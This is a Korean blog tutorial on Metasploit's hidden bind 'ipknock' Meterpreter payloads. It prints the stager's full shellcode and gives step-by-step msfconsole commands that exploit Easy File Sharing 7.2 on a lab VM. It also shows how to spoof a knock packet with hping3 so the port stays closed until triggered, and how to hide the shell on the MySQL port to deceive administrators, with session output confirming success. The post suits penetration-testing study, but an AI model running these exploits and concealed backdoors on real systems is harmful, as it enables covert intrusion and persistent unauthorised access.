Back

[METASPLOIT] do you want to build a snowman? ipknock를 이용한 hidden meterpreter shell(knock knock)

metasploit에서 payload에 대해 찾아보던 중 ipknock에 대한 내용을 보게되었습니다.

Matching Modules

Name Disclosure Date Rank Description


payload/windows/dllinject/bind_hidden_ipknock_tcp normal Reflective DLL Injection, Hidden Bind Ipknock TCP Stager payload/windows/meterpreter/bind_hidden_ipknock_tcp normal Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal Windows Inject DLL, Hidden Bind Ipknock TCP Stager payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager payload/windows/shell/bind_hidden_ipknock_tcp normal Windows Command Shell, Hidden Bind Ipknock TCP Stager payload/windows/upexec/bind_hidden_ipknock_tcp normal Windows Upload/Execute, Hidden Bind Ipknock TCP Stager payload/windows/vncinject/bind_hidden_ipknock_tcp normal VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager

찾아보니 오래전부터 있던 기능이였는데, 잘 활용하면 재미있는 놀거리가 되겠더군요.

오늘은 ipknock을 이용한 meterperter shell 사용과 그 원리에 대해 이야기할까 합니다.

What is ipknock?

Ipknock TCP Stager를 의미하며 이는 특정 IP에서 knock(노크)가 있어야만 쉘을 사용할 수 있게 구성된 payload 입니다. Metasploit에서 Socket 통신 시 Closed로 나타낼 수 있어 쉘을 숨길 수 있지요.

이전에 paranoid mode 글과 같이 쉘을 안전하게 사용하기 위한 방법 중 하나이지요. (http://www.hahwul.com/2016/07/metasploit-meterpreter-paranoid-mode.html )

비슷한 개념으론 Port knocking이 있습니다. 이는 listen중인 closed 포트를 두고 특정 순서의 요청(노크)가 발생했을 때 정상 정상 연결을 허용해주죠. 방화벽 기능에서도 비슷한게 있는것으로 알고있습니다. 자세한 내용은 아래 링크 참고해주세요. https://wiki.archlinux.org/index.php/Port_knocking

다시 본론으로 와서 동작 형태를 보면 ipknock payload는 exploit에 의해 실행되면 서비스에 기생하며 대기하고 있습니다. (백도어로 동작시킬 때 더 유용할 것 같네요)

대기중에 knock ip 로 지정한 ip에서 패킷을 수신해야만 기존에 지정한 meterpreter shell이 열리게 됩니다. 고로 패킷 수신전까지는 클라이언트 환경에서도 숨길 수 있고 bind 쉘을 경우 다른 공격자에 의해 발각될 확률 또한 확실히 줄여줍니다.

refer: i41.tinypic.com / do you wanna build a bind shell?

Code analysis

사실 ruby 코드 자체는 별다른게 없습니다. https://raw.githubusercontent.com/rapid7/metasploit-framework/12198a088132f047e0a86724bc5ebba92a73ac66/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb

      'Handler'       => Msf::Handler::BindTcp,
      'Convention'    => 'sockedi',
      'Stager'        =>
        {
          'RequiresMidstager' => false,
          'Offsets' =>
            {
              'LPORT'    => [ 193, 'n' ],
              'KHOST'    => [ 255, 'ADDR' ]
            },
          'Payload' =>
            # Length: 359 bytes
            "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
            "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
            "\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
            "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
            "\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
            "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
            "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
            "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
            "\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
            "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
            "\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
            "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
            "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
            "\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
            "\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
            "\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
            "\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" +
            "\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" +
            "\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
            "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
            "\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
            "\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
            "\x01\xc3\x29\xc6\x75\xee\xc3"
        }
      ))

payload를 전달해줄뿐이니깐요.. 이제 이 payload 가 굉장히 중요해지는데요, 아래 링크의 asm 파일로 행위를 볼 수 있습니다. 심지어 주석도 잘 되어있어서 딱 보면 아하 하실거에요.

https://raw.githubusercontent.com/rapid7/metasploit-framework/master/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm

asm 코드를 보면 초기에 socket을 bind 한 후 아래 구간에서 검증을 진행하게 됩니다. KHOST로 지정한 IP가 맞는지 여부 확인 후 실제 쉘이 동작하는 socket으로 전환하죠.

초기 소켓 생성 구간
KHOST가 지정된 ip가 맞는지 검증
쉘 연결

ipknock payload를 이용하여 meterpreter shell 사용하기

ipknock로 검색하시면 여러개 나옵니다. 전 그 중에 meterpreter shell의 Hidden Bind Ipknock TCP Stager를 사용하도록 하죠.

일단 먼저 사용할 Exploit 부터 고르고..

HAHWUL > use exploit/windows/http/easyfilesharing_post HAHWUL exploit(easyfilesharing_post) > set RHOST 192.168.56.101 RHOST => 192.168.56.101

ipknock payload를 지정합니다.

HAHWUL exploit(easyfilesharing_post) > set PAYLOAD windows/meterpreter/bind_hidden_ipknock_tcp PAYLOAD => windows/meterpreter/bind_hidden_ipknock_tcp

옵션을 보면 기존 payload 와 유사하지만 몇가지 항목이 더 있는 걸 알 수 있습니다. 옵션 중 KHOST는 knock를 받을 ip 주소입니다. KHOST로 부터 패킷 수신이 일어나야 쉘이 동작하게 됩니다.

HAHWUL exploit(easyfilesharing_post) > show options

Module options (exploit/windows/http/easyfilesharing_post):

Name Current Setting Required Description


RHOST 192.168.56.101 yes The target address RPORT 80 yes The target port (TCP)

Payload options (windows/meterpreter/bind_hidden_ipknock_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (Accepted: ‘’, seh, thread, process, none) KHOST yes IP address allowed LPORT 4444 yes The listen port RHOST 192.168.56.101 no The target address

Exploit target:

Id Name


0 Easy File Sharing 7.2 HTTP

여기서 KHOST는 본인이 소유한 IP가 아니여도 사용이 가능합니다. IP Spoofing을 이용하면 아주 쉽죠. 임의의 IP 지정 후 hping 등을 이용해 spoofing 된 패킷을 던져 meterpreter를 활성화 할 수 있습니다.

공격을 수행해보면.. session 이 맺어지지 않습니다.

HAHWUL exploit(easyfilesharing_post) > set KHOST 6.6.6.6 KHOST => 6.6.6.6 HAHWUL exploit(easyfilesharing_post) > exploit -z

[] Started bind handler [] Exploit completed, but no session was created.

왜냐하면.. 아직 knock가 이루어지지 않았기 때문이죠. 현재 이 상태일 때 해당 포트는 closed 로 나타납니다.

HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444 [] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:10 KST [] Nmap: Nmap scan report for 192.168.56.101 [] Nmap: Host is up (0.00064s latency). [] Nmap: PORT STATE SERVICE [] Nmap: 4444/tcp closed krb524 [] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC) [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

제가 KHOST로 지정한 6.6.6.6에서 패킷이 오기 전까지는 이 친구는 의미없는 포트가 되지요.

HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1 [*] exec: hping3 -S -p 4444 192.168.56.101 -c 1

— 192.168.56.101 hping statistic — 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 3.7/3.7/3.7 ms HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes len=40 ip=192.168.56.101 ttl=128 DF id=3300 sport=4444 flags=RA seq=0 win=8192 rtt=3.7 ms

6.6.6.6이 아닌 ip에선 열심히 패킷을 보내도.. 의미가 없습니다. 그럼 이제 KHOST에서 knock를 해볼까요?

HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1 –spoof 6.6.6.6 [*] exec: hping3 -S -p 4444 192.168.56.101 -c 1 –spoof 6.6.6.6

— 192.168.56.101 hping statistic — 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 3.9/3.9/3.9 ms HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes len=44 ip=192.168.56.101 ttl=128 DF id=3319 sport=4444 flags=SA seq=0 win=8192 rtt=3.9 ms

다시 nmap을 통해서 보면..

HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444 [] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:13 KST [] Nmap: Nmap scan report for 192.168.56.101 [] Nmap: Host is up (0.00076s latency). [] Nmap: PORT STATE SERVICE [] Nmap: 4444/tcp open krb524 [] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC) [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

이제 open 되었습니다. handler를 통해 열려있는 bind 쉘로 연결하면 됩니다.

HAHWUL exploit(easyfilesharing_post) > use exploit/multi/handler HAHWUL exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp

RPORT는 기본으로 4444가 맞춰져있으니 RHOST만 설정한 후 exploit 합니다.

HAHWUL exploit(handler) > set RHOST 192.168.56.101 RHOST => 192.168.56.101 HAHWUL exploit(handler) > exploit -z [*] Exploit running as background job 0.

[] Started bind handler HAHWUL exploit(handler) > [] Sending stage (179267 bytes) to 192.168.56.101 [*] Meterpreter session 1 opened (192.168.56.1:46811 -> 192.168.56.101:4444) at 2017-09-08 14:14:41 +0900

HAHWUL exploit(handler) > HAHWUL exploit(handler) > HAHWUL exploit(handler) > sessions -i 1 [*] Starting interaction with 1…

meterpreter > meterpreter > meterpreter >

잘 되네욥 :)

Once more

사용자를 속이기 위해선 잘 알려진 포트를 활용합니다. (사실 서버 관리자라면 금방 눈치차리겠지만요..)

예를들어.. mysql 포트로 쉘

HAHWUL exploit(easyfilesharing_post) > set LPORT 3306 HAHWUL exploit(easyfilesharing_post) > exploit -z

[] Started bind handler [] Exploit completed, but no session was created.

nmap -PN 192.168.56.101

Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:55 KST Nmap scan report for 192.168.56.101 Host is up (0.0012s latency). Not shown: 989 filtered ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 554/tcp open rtsp 2869/tcp open icslap 3306/tcp closed mysql

역시나 Closed로 나타납니다. Exploit 진행해주고..

HAHWUL exploit(handler) > set LPORT 3306 LPORT => 3306 HAHWUL exploit(handler) > exploit -z [*] Exploit running as background job 1.

[] Started bind handler HAHWUL exploit(handler) > [] Sending stage (179267 bytes) to 192.168.56.101 [*] Meterpreter session 2 opened (192.168.56.1:44471 -> 192.168.56.101:3306) at 2017-09-08 15:03:30 +0900

윈도우에선 어떤 행위들이 나타나는지 지켜보면,

payload 로드 시 33306 포트가 대기합니다. 다만 이 친구는 정상 연결을 허용하지 않아 Closed로 나타나게 되죠.

IP Spoof된 SYN 요청 수신 시 정상 소켓 모드로 전환하고 쉘 연결을 대기합니다.

사실 크게 별다른건 없습니다. (다른거 해보려고 이미지 캡쳐뜨고 쑈했는데 아까워서 걍 한번 더 정리해봐요)

Reference

https://www.rapid7.com/db/modules/payload/windows/meterpreter/bind_hidden_ipknock_tcp https://wiki.archlinux.org/index.php/Port_knocking

Licensed under CC BY-NC-SA 4.0
Last updated on Jul 10, 2021 01:05 +0900